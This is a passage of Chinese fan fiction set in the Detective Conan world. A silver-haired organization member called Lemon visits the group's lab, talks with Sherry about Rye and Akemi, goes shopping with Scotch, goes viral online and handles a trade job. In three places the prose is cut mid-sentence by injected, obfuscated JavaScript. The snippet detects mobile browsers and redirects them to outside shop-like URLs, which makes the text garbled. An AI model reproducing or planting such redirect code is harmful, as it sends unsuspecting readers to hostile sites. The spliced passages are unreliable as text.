所有的不开心都被甩在了超高速带起的风中,知花裕树捋顺了额前被吹乱的鬓发,神情气爽地看向副驾,“我们到啦……呃,苏、苏格兰你还好吗?” 苏格兰一手捂着脑袋,一只手抬起冲他摆了摆,示意自己没事。 他忍下淡淡的反胃,瞥了眼研究所的大门,冷静地说:“我很好。不过莱蒙,刚刚这一路你至少被拍了几十次超速,这件事你知道吧?组织的原则是隐入黑暗,你这样会被警方注意到的。” “没事的。这辆车的车牌是假的,过两天改个新涂装,再换个新牌子就好了!我有经验的。” 苏格兰:“……” 他开始心疼交通部的同事了。 …… 每个月的月中,知花裕树都会来一趟研究所,倒不是因为喜欢这里,事实上,这是boss的命令。 事情的起因还要说到他刚在这个世界苏醒的时候。那时候他精神状态不太好,睁眼就先把自己搞死了,全靠系统的能量活了下来。 问题就出在这里。 系统的能量只能让他维持活着的状态,但无法再让他的身体继续生长,所以五年过去了,知花裕树依然是十七八岁的模样。 Boss又不是傻子,自然能看出来,而且他早早就看了出来。Boss以为这样的结果是因为他在那座岛上被人做了实验。 而据系统所说,那座岛上确实有人在做人体实验,但因为知花裕树拒绝继承这具身体的记忆,所以他并不清楚这具身体到底有没有被做过实验。 而他当时离岛的时候放了把火,岛上的实验室和里面的资料大概也早在那场大火里烧尽了。 不管真相如何,boss认准了知花裕树是实验半成功的作品。 知花裕树怀疑boss一开始是想过直接把他囚禁为实验体的,但或许是考虑到他一言不合单杀全岛的战绩,最终还是选择了怀柔手段。 大概意思就是说“boss我最疼的就是你,现在只是需要你每周去做个小检查,对你的身体也是有好处的。” 对于将他带入新世界又给了他安身立命之所的boss,知花裕树是真的挺尊重他的。 正因如此,最初他才对这件事表达了极端的抗拒。 【琴酒守在大门门口,老人坐在床上,搭在被面的干枯手背上青筋道道,吊瓶中的液体通过纤细的透明塑料管道传送到青色的血管,再滴滴进入老人体内。 白金发女人斜倚着窗台,背光的脸上神色莫名。 “不行。”知花裕树坚定地说:“我不要。” 老人语气依然温和:“为什么不要?莱蒙,我说过,这对你不会造成什么伤害,正相反,你作为曾经的实验体,每个月做一次检查正好帮你掌握身体状况,而我所需要的只是一些数据罢了。” 知花裕树:“……” 正因为他知道自己的数据根本没用,甚至说如果真拿他的身体数据去搞研究那才是浪费时间误人子弟,所以他才这样说。 Boss,我是为你好啊!! 真相又不能直接说出口,知花裕树绞尽脑汁胡编乱造:“……因为我只是残次品,嗯,我是残次品,我的数据不能用的。” 他并不是很会说谎的类型,话讲得磕磕巴巴,很没有底气。 这次是贝尔摩德说话了。 “Sweety,相信我,你绝对不是残次品,你是完美的。” 如果换个情境知花裕树听到这种话会很开心,但这样的场合他只想点支烟说没有必要。 Boss果然没有轻易放弃,他不说话,只是无声地向知花裕树施加压力。 他知道一无所有的少年只有同意这一个选项,但出于对少年的喜爱,他很乐意将此包装成有选择的温情场面。 片刻后,知花裕树揉了揉脑袋,把柔顺的银发揉得乱糟糟的,“行吧,听boss你的。” 良言难劝该死的鬼,boss一再坚持,他也没有办法。】 从那以后,知花裕树就开始了研究所每月一日游,偶尔数据不需要那么密集,也会延长至两到三个月一次。 其实真的没用。 因为研究员们得到的那些数据都是系统伪造的。具体数值一开始参考了M741星云的生物体,但是知花裕树觉得研究员们看他的目光过于诡异,就拜托系统改得拟人了些许。 持续到如今,知花裕树已经不太确定自己在研究员们心中到底是种怎样的生物了。 于他而言,就是固定在某个时间来研究所睡个觉,顺便打点营养液。 营养液和需要消化的食物不同,属于为数不多能帮系统省些能量的东西。所以一般离开研究所的时候,知花裕树也会顺便顺几袋营养液走。 他在研究所横行好几年,直到代号为雪莉的研究员从美国回来才算碰了壁。 她不认同他这种靠营养液存活的方式,每次瞧见他偷拿营养液都会用目光淡淡地盯着他。 明明今年也才十三岁,却跟传说中名为妈妈的恐怖生物一样。 “哪天你要是快饿死了,别死我的研究室门口。” 被对方这样骂了之后,知花裕树下次再去研究所偷营养液的时候发现那里多了一箱口服营养液,里面装着苹果香蕉橘子梨肯德基麦当劳等多种口味的营养液。 知花裕树搬起箱子抬头,隔着一道玻璃窗,另一侧的茶发少女冷哼了一声,扬起下巴,把头转向了另一边。 知花裕树很喜欢雪莉。她人好,还聪明,才这么点大,没他肩膀高,就已经从美国常青藤博士毕业了。 这就是高级知识分子。 看到这样的人,知花裕树才觉得组织的未来有希望。 和苏格兰一起迈进研究室的门时,知花裕树忽然想起了这茬事,“苏格兰,你想上大学吗?” 在最开始递到知花裕树这里的个人信息表上,苏格兰的毕业院校是某所高中。 波本和莱伊倒是上过大学的。 苏格兰想起了波本帮忙打听到的,莱蒙让搭档去考东大的壮举,“不,我觉得现在这样就很好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209402|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好吧。”知花裕树有些失望。 研究所里的研究员来来往往地忙碌着,苏格兰注意到几乎每个路过莱蒙身边的人都会忍不住看他一眼——他的长相委实太过惹眼。 不过大家都知道能进到这个研究所的人肯定与组织有关,因而所有人都是匆匆一瞥又疾步走远。 苏格兰第一次进入组织的研究所,暗暗观察着周围的一切。 组织到底在进行什么研究?莱蒙到研究所又是为什么? 他落后了莱蒙半步,银发少年提着芙纱绘的购物袋,脚步轻盈雀跃,像来郊游似的。 到一家挂着“休息室”牌子的门口,莱蒙扭头对他说:“苏格兰,你安静在这里等我一会儿,无聊的话可以打会儿游戏,不过不要乱跑,研究所的有些地方很危险。” 莱蒙从休息室门口的柜子里摸出一个psp递给他。 苏格兰神色诡异,为什么感觉自己被当不听话的小孩对待了? 知花裕树没觉得自己的话有什么毛病,他只是复述了雪莉的原话罢了,就连psp都是雪莉买的,虽然她当时疑似是因为实验途中耳朵边一直环绕着他的“雪莉,这是在干什么?”“雪莉,你的数值动了!”“雪莉,这个……”“雪莉”“雪莉”,终于忍受不了又干不掉他才买了个psp打发他。 第一次玩电子游戏的知花裕树迅速沉迷其中,拿回家里不眠不休玩了七天七夜,最终被系统强制断电。 断的是他本人的电。 做完月常检查,知花裕树把衣服穿戴整齐从检查室走出来。茶发少女正在欣赏芙纱绘的新款包包,她是芙纱绘的忠实粉丝。 “还喜欢吗?”知花裕树又忍不住自己的毛病了,每次来雪莉的工作室,都忍不住去看那些瓶瓶罐罐(因为被雪莉教育过不能上手所以只能看)和操作记录本,不过今天他只快速瞥了一眼,便期待地看着雪莉。 雪莉放下芙纱绘的包,“可以了,你今天送我包,是想干什么?” 这家伙真的很好懂,每次送她包包都必定是有求于她。 知花裕树拉过一把椅子在雪莉面前坐下,一脸严肃。 看到他这样的表情,雪莉也跟着认真起来。 难道是组织这边出了什么事? “雪莉,能不能告诉我,你姐姐是怎么喜欢上莱伊的?” “……啊?” “没听懂吗?也是,雪莉还是小孩子呢。” “等等,唯独你没资格这么说。话说你为什么忽然对这件事感兴趣了?” 虽然莱蒙也是组织里赫赫有名的高级成员,但他和琴酒那种看谁都像卧底的类型不一样,因此听到他这么说,雪莉也没有觉得他是在怀疑姐姐或者莱伊的身份立场。 只是就连她这颗常青藤博士毕业的大脑也完全想不出来他到底为什么对这件事有兴趣。 “因为我是他们的cp粉,想要了解他们的感情经历不是很正常吗?”知花裕树沉重地一叹气,对着雪莉摇了摇头,“雪莉你还是太小了,你不懂。” 雪莉:? 这说的还是日文吗? 22.第二十二章 大概是芙纱绘最新款全球限量包发挥了它的威力,知花裕树还是从正主妹妹的口中得知了他嗑的cp相识的过往。 老实讲,这个开头似曾相识…… 他上辈子和攻C相识就是因为对方开车的时候不小心把他撞进了医院,然后对方就来医院看他,在病床上偷摸摸地搞一些小动作。 医生护士,甚至于其他病人都是他们play的一环。 而且平时他躺在病床上的时候周围根本没有人,一旦攻C出现,NPC就会马上刷新,倾情参与play。 “怎么这样的表情?听完故事后脱粉了?”很快淡定下来的雪莉又爱不释手地拿起了包包欣赏。 知花裕树狠狠揉了把脸,“……不是,只是我需要整理一下思绪,不然我怕我没办法再直视莱伊。” 话说莱伊才是那个躺在病床上的吧…… 住脑!这样去想挚友真是太失礼了! “比起那个,”雪莉点了点自己的脸,“你现在不戴面具了?” 之前单独和她在封闭空间的时候,莱蒙也会摘下面具,但是在这种随时都会有人进来的地方,他一定会面具不离脸。 也不知道他从哪儿弄来的那么难看的面具,把她小白鼠都丑死了好几只。 “之前的面具上次做任务的时候弄丢了,所以就不戴了。” 茶发少女盯着他看了一会儿,“你和之前似乎有些不一样了。其实我一开始还觉得假如是你跟我姐姐在一起也挺不错的……你那是什么表情,难道觉得我姐姐配不上你?” 对方一脸“如果你敢说是我就下毒弄死你”的表情,知花裕树把一颗脑袋摇出残影,“绝对没有!但是雪莉你这种想拆散我cp的想法哒咩!莱伊和明美小姐一定会一生幸福的!在这方面我绝对不会让步。” “……虽然我也很希望姐姐得到幸福,但你这样真的很讨打!”雪莉捏起下巴,动用聪明的大脑提出要求:“为了补偿我受到的心理冲击,下次你要给我带两个芙纱绘的包才可以。” …… 知花裕树又回到休息室的时候,发现莱伊也在。他和苏格兰分别处在休息室的对角线,一个人抽烟,一个人打游戏,彼此满脸写着“不熟”。 “GAME OVER!”游戏机里发出游戏结束的音效,苏格兰不得不承认自己可能确实没什么玩游戏的天赋,一会儿的功夫,这已经输到第6局了。 他把埋着的脑袋抬起来,单从平稳的脸色看不出丝毫情绪。 “事情已经处理完了?” “嗯嗯,我们可以回家了。”银发少年同他说着话,眼睛却瞥向了莱伊。 黑色长发男人靠墙站在房间的角落,缭绕的香烟模糊了他的眉眼。 休息室也是研究所唯一的吸烟室。 知花裕树并不奇怪莱伊为什么会出现在这个研究所。他是宫野明美的男友,听说和雪莉的关系也很不错,甚至他能加入组织都有一部分雪莉引荐的功劳。 “莱伊,下个月的3号,你做好安排了吗?” 莱伊掐掉了手头的烟,“没有,有任务安排吗?” 苏格兰眉头微蹙,任务安排?莱蒙没和他提过。 知花裕树惊诧地眨巴两下眼睛:“那天不是明美小姐的生日吗?现在只剩不到半个月了,你还没准备礼物和惊喜?等等,难道说你不去给明美小姐过生日吗?” 银发少年警惕道:“你们感情出问题了?” 苏格兰:“……” 莱蒙真的很在意莱伊和他女友的感情啊。 莱伊很想问一句我们感情有没有问题到底跟你有什么关系,但高度理性的大脑让他最终只是沉沉呼出一口气,妥协般道:“……没有。不过我真的不觉得我们的感情有什么值得组织关注的,明美她只是组织外围成员,身上没有任何有价值的情报。” 知花裕树感动万分。 天哪,他嘴上说她没有任何价值却还是爱她——只要看到这些他就会感到幸福。 而在莱蒙走后,莱伊从雪莉口中得知莱蒙竟然为了得知他和明美的情报特意买芙纱绘的包送给雪莉。 雪莉:“不用在意他,莱蒙就是这样的,总是对很多乱七八糟的事情感兴趣,其实他应该是组织里最好相处的人。” 莱伊觉得雪莉想得太简单了,而他这种卧底不得不多想一些。他自己多受关注无所谓,说不定正好是接近组织秘密的机会,但是明美不行。 原本他和明美维持关系是希望能借此和雪莉保持联系,好探寻组织隐藏在研究所中的秘密,但这样下去说不定会把危险带给明美。 他真的要尽快和她分手了。 想到那个纯真温柔的女孩子,莱伊默默垂下眼睫,微不可闻地轻叹了一声。 …… 组织成员并不是时刻都有任务要做,没有任务的时候,时间是可以由成员们自行支配的。 大部分情报组的成员都会另外选择一个明面上的身份做伪装,比如贝尔摩德、皮斯克等。这些明面上的身份一般都很光鲜亮丽。 行动组的成员则在没有任务的时候努力达到神龙见首不见尾的效果,如同一尾鱼一扭身便消失在大海。 不过知花裕树时常怀疑电视中某些难以破获的连环谋杀案的凶手就是由他行动组的同事们客串的,连环杀人魔就是他们的另一层皮肤。 只是他没想清楚这应该算加班还是外快。 而像知花裕树这种新人考核办公室、组织组群服务大厅、心理健康教育工作室、员工规律性涨薪研究可行性研究室等重要部门负责人就很需要一个固定的驻扎点,方便大家有求于他的时候随时登门拜访。 身为知花裕树的搭档,苏格兰自然也留守在了驻扎点。他一开始觉得这样很不错,莱蒙在组织里的地位非同一般,似乎是能和琴酒平起平坐的程度,而他的性格虽然有点怪,但却比琴酒要好很多,也许他能在和对方的日常相处中试探出一些东西来。 但是一周后,苏格兰意识到,莱蒙其实也许是某种不可观察的生物。 自从那天从研究所回来后,莱蒙整整一周都没出过别墅门。每天早上6点,莱蒙会准时在餐厅刷新,和他说一声“早上好”,也不吃饭就直接回自己的卧室,关上门一整天悄无声息,直到第二天早上6点再度在餐厅刷新。 苏格兰一度以为自己是鬼打墙了。 一周的时间,他反而和葡萄酒熟悉了起来,这条诡异的蛇很通人性,每天都定时定点盘在餐桌上陪他吃饭。 没人说话,快要憋疯了的苏格兰都开始下意识和葡萄酒沟通了,意识到这一点的苏格兰忍无可忍地敲开了莱蒙的门。 他也终于看到了莱蒙每天都在房间里捣鼓些什么。 “拼图?” 零零碎碎数千块的蓝天白云看上去就很难拼好。 “是啊,我觉得苏格兰的房间似乎缺了幅装饰画,结果买错了,拆开才发现是拼图。”知花裕树表情凝重,“不过我觉得我已经快成功了。” 确实,看起来只剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14223492|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收尾的部分了。 苏格兰淡淡的火气彻底消失。这不是他第一次进莱蒙的卧室,脑子里还留着这间卧室直通太平间的诡异构造。 他左右环顾一圈,再次确认卧室里没有再额外修一个厨房。 “莱蒙,你这几天都是怎么吃饭的?” 这栋别墅单独坐落在山中,某种程度上可以算是与世隔绝。苏格兰很确定这几天从未看到过有人出门,除了他们两个外也没有别人再来到这里,而且就那天莱蒙展现出的精妙厨艺来看,他大概也做不出什么能吃的东西,所以问题来了,莱蒙这几天都在吃什么? “吃饭?”知花裕树目光飘忽了下,“就这样那样地吃呗。” 苏格兰顺着他飘忽的视线瞥到了桌子上还没扔的包装袋。 知花裕树说不清为什么有点心虚,喝营养液又不是什么丢人的事。 “你就吃这个?” “这个怎么了?”知花裕树不大高兴,“这可是澳洲大龙虾口味的,我也只剩这一包了。” 苏格兰没有因为他的态度生气,而是温和地说:“只吃这些身体的营养会跟不上,我们是搭档,你可以来吃我做的饭。” 知花裕树干巴巴地“哦”了声。 他突然又有点伤心,“苏格兰,你人真好。” ……所以他什么时候才能结束这死人微活的状态啊! 苏格兰做饭那么好吃,好想狂啃狂啃狂啃旋转跳跃继续狂啃狂啃—— …… 冰箱里的食物储备已经消耗殆尽,知花裕树决定陪苏格兰一起去超市采购。 第一次来采购食材的银发少年看什么都充满好奇心。 “绿川,这个是番茄吗?” “绿川,姜和土豆有什么区别?” “绿川,我要那个西瓜……什么,那个叫苦瓜?是因为很苦才叫这个吗?爱吃这个的人人生也一定很苦吧。” …… 人怎么可以有这么多问题! 苏格兰逐渐感到心累。 更让他心累的还在后面—— “大哥哥你好好看,可以和小春拍照吗?” “嗯?可以哦小妹妹。” “帅哥,我也可以拍照吗?你真的太好看了,简直是卡密撒嘛!” “哪里哪里,要这样拍吗?” “哥、哥哥,我……” “抱歉,男孩子暂且不开放合影服务。” “先生,请问可以做出这样的动作让我拍照吗?” “没问题哦……是这样吗?” “啊啊啊啊啊我此生无憾了!” 被挤出人群外的苏格兰看着身高突兀的银发少年被一群活泼热情的女孩子围在正中,按女孩子们的要求做出各种姿势还津津有味、乐在其中。 苏格兰:“……” 所以那天芙纱绘的经理请你做模特你不愿意难道是因为经理不是漂亮的女子高中生吗?! ……没想到你是这样的莱蒙。 不过,苏格兰凝视着被暖白灯光照耀的莱蒙,银发少年被光环簇拥,宛如不可触碰的神祇。 他却觉得……果然像在哪里见过。 是在哪里呢? 似乎有连绵的山一晃而过。 有女高中生撞上来撞散了他的思绪,“抱、抱歉,请问你要拍照吗?不拍的话可以麻烦您往旁边站一点吗?” 苏格兰:“……” 他暗暗咬牙,以后绝不能在女子高中生放学的时候带莱蒙来超市! 23.第二十三章 【今天在超市遇到了一生的一期一会】 【可爱猫猫头】 No.0 17:51:55 图片.jpg 你们这辈子见过这么好看的人吗,反正我没见过 【像风一样】 No.1 17:52:35 天哪,他像星星一样,好看得让人不忍亵渎,要什么样的人才配拥有他 【太空】 No.2 17:53:46 在现场,我也拍到了,帅得我很不安 图片.jpg 【麦芽糖】 No.3 17:55:24 有没有知道他信息和联系方式的,想认识一下(有偿,确认真实后马上转账一百万円) 【真子酱】 No.4 17:56:30 是富婆姐姐! 【太空】 No.5 17:57:56 围观富婆 …… 【你敢在我面前取下面具吗】 No.63 18:10:23 同求这位先生的相关信息:) 同样有偿,价格两百万;如果信息足够丰富可以加到五百万哟~ 【太空】 No.64 18:11:45 新的富婆已经出现,又怎能停滞不前 【兔国来袭】 No.65 18:12:55 可恶啊!这个世界上有钱人那么多,多我一个又能怎样! …… 【Lily】 No.73 18:19:34 oh my gosh,Japanese star? …… 【假面骑士】 No.84 18:26:12 前面的人很过分,这位先生好可怜,莫名其妙自己的信息就被当作商品卖,他可能还不知道自己被盯上了,这就是犯罪!如果真的有提供信息的人,你们也是帮凶! …… 大西洋某岛国,刚起床的某位来自霓虹的网友刚泡上一杯伯爵红茶,袅袅茶香中,他浏览到了论坛中这个帖子。 “欸?”一声低低的惊疑,他放大图片,仔细观察图片中的男人。 五年的岁月似乎没在他身上留下什么痕迹,不,倒也不尽然。他的精神比起那时候紧绷压抑到极致的状态好了许多许多,镜头中的他大部分时候都在笑着,看得出来很放松。 他的头发变短了,但发量依然充足,额发蓬松而随性地散落。 网友摸了下自己因为某岛国糟糕水质而不断后移的发际线,幽幽叹了口气。 不过人生已经没什么不知足了,至少他还活着,而且逃离了那里,没有成为在那上空飘荡的冤魂。 而且他一个杀人犯,也没被通缉,自由自在地活着,除了无法再回到故乡没什么不好的。 他知道,自己还能过上现在的生活全靠照片上的这个男人。 他再度看向照片里的人,几乎尘封的记忆再度苏醒。 【浓重的血腥味堵塞鼻端,他差点无法呼吸了,手里的枪因为沾满血而变得滑溜溜的,他用力握紧。 这是他第一次用枪,不熟练,也不习惯,但这事关他的性命与自由,他必须握紧手里的枪。 当然,杀人这种事他也是第一次做。 以后会怎么样呢?他会从此作为一个杀人犯亡命天涯吗? 他下意识寻找银发少年的身影,一抬眸,却发现他就站在自己眼前。 少年苍白脸颊毫无血色,他面无表情,说话的语调却很温柔,仿佛一道稳定的锚扎进他心里漂浮不定的汪洋大海中。 “结束了,不用害怕。到港口去吧,船已经准备好了,正在等你们。” 少年轻轻拍了拍他的手腕,从他手里拿走枪,垂下的银白色眼睫映照着赤红的火,星星点点的水光在他眼中一闪而过。 “记住,从此以后,这件事的犯人只有我一个。人是我杀的,火是我放的,你们从未来过这里。以后——” 他顿了下。 “也永不要再回日本。” “不要那种表情,我本就活不久了。” “到了最后,就当作是废物利用吧。”】 他一直以为银发少年最终死在了鼓川岛上,但看起来后面又发生了一些他不知道的事让少年活了下来。 反正能活下来就是好事。 这位来自大西洋某岛国的网友打算藏匿在茫茫的消息海里跟帖回一句【他看起来很幸福,真好】。 【Error 404 Not Found 】 “啊?怎么没了?手慢无啊!”他抱怨了几句,端起放凉了的红茶喝了一口,将翻滚的情绪压下去。 …… 知花裕树正在接受批评。 “是,我知道错了。”他垂下脑袋,心情就和床外连绵的雨一样蔫蔫的,“我完全意识到了自己的错误,boss。” 还一句话没说的boss慢悠悠啜了口茶,微微蹙眉。 这味道还是不太对,都没有之前那几罐特意从兔国空运回来的好喝。 可惜被眼前这个小偷拿了。 Boos放下杯子,慢慢说:“网上的帖子我已经让朗姆命令技术组处理掉了,莱蒙,你应该知道自己不能被暴露在大众的视线下,那起事件牵扯众多,也许会有相关者注意到你……不过我也清楚,这次不能完全怪你,毕竟你有着这样的长相,算了。” 知花裕树眼睛一亮,“Boss,你不生……” “就扣你……”半个月的工资。 一句话刚冒出第一个字,银发少年就闪电般地跳上了窗台,叫着“谢谢Boss!你不怪我真是太好了!还有我没听到的话不能作数哦!!”就跃入了绵绵细雨中。 意料之中。 Boss闲适地往后靠到椅背上,用苍老的声音说:“年轻的身体就是有活力,真好。” Boss的房间在三楼,知花裕树从窗台上跳下来后落入了一个长方形庭院中,穿过这个长方形庭院才是别墅的大门口。 他没急着离开,而是扭头看向建筑物一层的门厅。天色昏暗,细雨斜斜地被吹进大开的门厅,屋子里也没开灯,琴酒站在那里抽烟。 “黑?你怎么在这里?”额前的碎发很快湿透了,黏在眉眼处,知花裕树干脆拿手把它们尽数拢到脑后,露出光洁的额头,他一边朝门厅走去,一边自问自答,“哦,你在等我。你终于想明白了,自己不适合琴酒这个代号,打算把它让给我了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14233179|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 琴酒抬眸看着他,知花裕树明白了,“嗯,你依然执迷不悟。那你等我干什么?想拿回银行卡?!” 知花裕树停在门厅口,提起戒备。 “有个任务交给你。”琴酒掐灭了烟扔进随身烟灰盒里,“boss安排了别的任务,我没时间去。老样子,任务奖金双倍给你。” 你手里还有钱吗?知花裕强行咽回这句话。 “哦,是什么任务?” “交易,组织从对方手里买了些情报。” “需要事后干掉他吗?” “不用,留着他还有用。” 琴酒又跟他交代了任务的时间和地点,两人之间随后陷入沉默。 知花裕树在脑海里检索同事可用告别语,琴酒瞥了他一眼,“你的新搭档用着习惯吗?” 知花裕树不喜欢他的用词,“苏格兰很好。” 琴酒冷哼,“小心他也是从什么地方钻进来的老鼠,总是对老鼠心慈手软,你迟早有一天会被它们咬死。” 男人转身走入了门厅。 雨渐渐停了。 …… “没事,我已经把房间的底都翻了三遍了,没有窃听器。” 今天莱蒙一早便一个人出门了,而且坚决不让他一起。苏格兰便搜查了一遍别墅。说是搜查,实际上只是将能打开的房间都借着打扫卫生的由头看了一遍。 莱蒙的别墅东西很全,健身房摆满了市面主要的健身器材,能从耗损程度看出主人偏好跑步机; 书房的书架书籍分门别类整齐摆放,被翻阅最多的种类是哲学和心理学,有一本书单独在书桌上放着,似乎是主人近期的最爱,名叫《职业生涯规划》; 还有一间医务室,除了品种齐全的药物,甚至还配备了手术室。也不知道谁能负责做手术。葡萄酒吗? 搜查完,苏格兰回到自己的房间,着重确认了一番没有藏着窃听器这类的东西后,他联系上了好友波本。 两人照例互相沟通情报。 波本作为情报组人员,确实能打听到很多组织里流传的隐秘,比如说—— “欸?莱蒙和琴酒吗?他们长得一点也不像,怎么可能会是兄弟,如果说是表兄弟的话倒是稍微有点可能性。” 波本笑了下,“确实是很离谱的传言,不过倒是可以理解为什么会这么传,两个人都是一样稀有的银发,莱蒙之前又一直以面具示人,其他人不清楚他到底长什么样才会有这样的猜想,甚至还有人说其实莱蒙和琴酒是双生子,有的时候两个人还会互换身份,所以他们有时候看到的琴酒实际上很可能是莱蒙。” “不过虽然传言很离谱,但是有一点可以肯定。几乎所有人都说莱蒙和琴酒的关系非同一般,如果惹到琴酒的话,去找莱蒙说不定会有一线生机……” 听着波本的话,苏格兰的思绪逐渐发散,想法跑到了另一边。 有没有可能,他时常觉得莱蒙眼熟,也是因为觉得他和琴酒有点像呢? 如果莱蒙也是长头发的话…… “我戴一个黑那样的假发怎么样?然后再戴一顶帽子,这样的话别人应该就不太能看到我的脸了。” 苏格兰回过神,银发少年在沙发上打了个滚,两只手臂交叠着放在沙发扶手上,又把脑袋搭上去,询问性地看着他。 24.第二十四章 “哦,哦,是个好主意。”苏格兰答道。 知花裕树觉得今天的苏格兰似乎不太认真。 交易的约定时间在晚7:00,但知花裕树此刻面临着一个问题:该怎么隐藏自己。 做交易这种事一定要隐蔽、不为人知才好,而他那张脸才刚在网络上引发了一些骚乱,万一被凑热闹的人认出就会影响任务进程——在工作上,知花裕树很认真。 他不想被太多人知道自己会易容,所以在有搭档参与任务的情况下,易容这个方法也被排除。 知花裕树忽然想到他可以模仿琴酒的打扮,他那身打扮始终如一亘古不变,但出任务从没被拍下来发到网上过,说明是有一些黑氏玄学在的。 得到苏格兰的认可后,知花裕树马上从沙发上跳起来奔向卧室,“等我——!” 知花裕树的衣帽间里丰富多彩,从dk制服到美国西部牛仔,从科幻未来到清素淡雅,应有尽有。 他套上白色圆领长袖,穿上黑色牛仔裤和同色马丁靴,又在外面加了件白色风衣——这身打扮对于夏天来说似乎有点奇怪,不过琴酒一年到头都这么穿,也没见他热过,说明问题不大。 更何况他的感知本就不如活人灵敏。 知花裕树戴上银色长假发和帽子,对着镜子看了看,觉得身上的纯白色太单调,不过能用来做装饰的项链只有上次搭配白色神袍那些,似乎太张扬了。 “啊,对了!” 还有一个。 知花裕树从收纳盒底层找出一条做成了项链的蓝色幸运御守。就制作工艺的粗糙程度来看,这枚御守很像是儿童手工艺制品,但别有一种质朴的美感,用来做装饰也很搭。 知花裕树把御守放到风衣里面,回到起居室。 “怎么样?”他把帽子压低了。 苏格兰有一会儿都没回答,目光落在他身上,焦距却飘到空中。 知花裕树叫了他几声,他才回过神,“嗯,可以,这样就很好。” 苏格兰坐在单人沙发上,知花裕树走到他面前,男人抬眸,目光描摹过他眉眼,又怔怔垂下。 知花裕树摸了摸他额头,“苏格兰,你发烧了吗?你今天有点不对劲。” “不,没事……可能只是没睡好。”苏格兰躲开了他的触碰,起身去拿自己的外套,“我们出发吧。” …… 是在哪里见过的,绝对在哪里见过。 长发的莱蒙给了苏格兰更加明显的这种感觉,当然不是因为莱蒙的长发状态和琴酒像这种理由,他们一点都不像。 是他的长相、偶尔的神态令他觉得熟悉,仿佛记忆被投入一颗石子,涟漪惊起,可等他认真翻阅时又归于平静。 “景——” 苏格兰猛然回过神。 原来是莱蒙在叫“希罗”。 “怎么了?” “绿川希罗,我们该下车了。”驾驶座上的知花裕树忧心忡忡地确认,“你真的没事吗?不舒服的话就在车上待着吧,这种任务我一个人也没问题。” “抱歉,我真的没事。” 知花裕树半信半疑。 交易进行得非常顺利,苏格兰似乎也恢复了正常。知花裕树提议再在外面玩一会儿。 组织很喜欢把交易地点设定在游乐园一类的场所,知花裕树觉得最初想到这个点子的人真是天才。 工作完毕还可以顺便逛逛游乐园,这跟带薪休假有何区别? “我觉得最初提到这个点子的人应该不是这么想的。”听完莱蒙的高论,苏格兰淡淡吐槽,“想吃那个吗?” 苏格兰注意到莱蒙的目光一直在往路边的文创冰激淋柜上飘。 “不不,我不吃零食。”莱蒙义正言辞,“会长不高。” 苏格兰:“……哦。” 明明超想吃的样子。 “我们去玩疯狂过山车怎么样?” 苏格兰默默看向他的假发和帽子,知花裕树明白了,“好吧。” 别低头,假发会掉。 苏格兰提着交易得来的箱子,看了看天空,“快要下雨了。” 乌云遮住了月光与星光,吹来的风湿漉漉的。盛夏来临,雨也跟着多了。游乐园的广播在提醒游客尽快离开,游乐园将于半小时后闭园。 “好吧,那我们回去。”游乐园下次也可以再来,知花裕树很痛快地说。 风越吹越大,假发糊了知花裕树一脸,他拿手扒拉开,瞥到前方不远处地面上一顶眼熟的帽子。 他对苏格兰笑:“苏格兰你看,那顶帽子和我的好像……等等,我帽子呢?” 知花裕树在空空如也的脑袋上摸了两下。 “幸好我身手好。”知花裕树拍掉拾回来的帽子上的土,重新扣回脑袋上,又被风吹起来,折腾了几下后,他终于彻底放弃。 “苏格兰,你在看什么?”知花裕树回头想招呼苏格兰快点走,却发现对方怔怔地看着他的胸口。 今天苏格兰不对劲的地方太多了,知花裕树已经认定他是生病了。 估计是某种精神类疾病,得治。等回去他要好好劝劝苏格兰,不可以讳疾忌医。 “你在看这个吗?”知花裕树低头,发现御守从风衣里掉出来了,大概是他弯腰捡帽子的时候掉出来的,“你喜欢的话可以送你。” “不用。”苏格兰慢慢说,他走到和知花裕树并排的地方,两人重新一道往园外走,苏格兰侧头看着身边的人,轻声问:“莱蒙,这种御守似乎女孩子更喜欢戴在身上,莫非是你姐姐或妹妹的吗?” “欸?不是哦,我没有姐妹,这是我自己的,不过我也不记得是什么时候买的了。”知花裕树捏起下巴冥思苦想,“想要链接的话是不可能的,苏格兰你喜欢的话我真的可以送给你,我们是朋友嘛。” 苏格兰笑了下,“不用,你留着就好。” 知花裕树看了看他,“苏格兰你今天真的好怪。笑得也奇怪。” 天边出现了闷闷的雷声,一声接着一声。 苏格兰沉默地走在莱蒙身侧,回忆和雨一起慢慢落下。 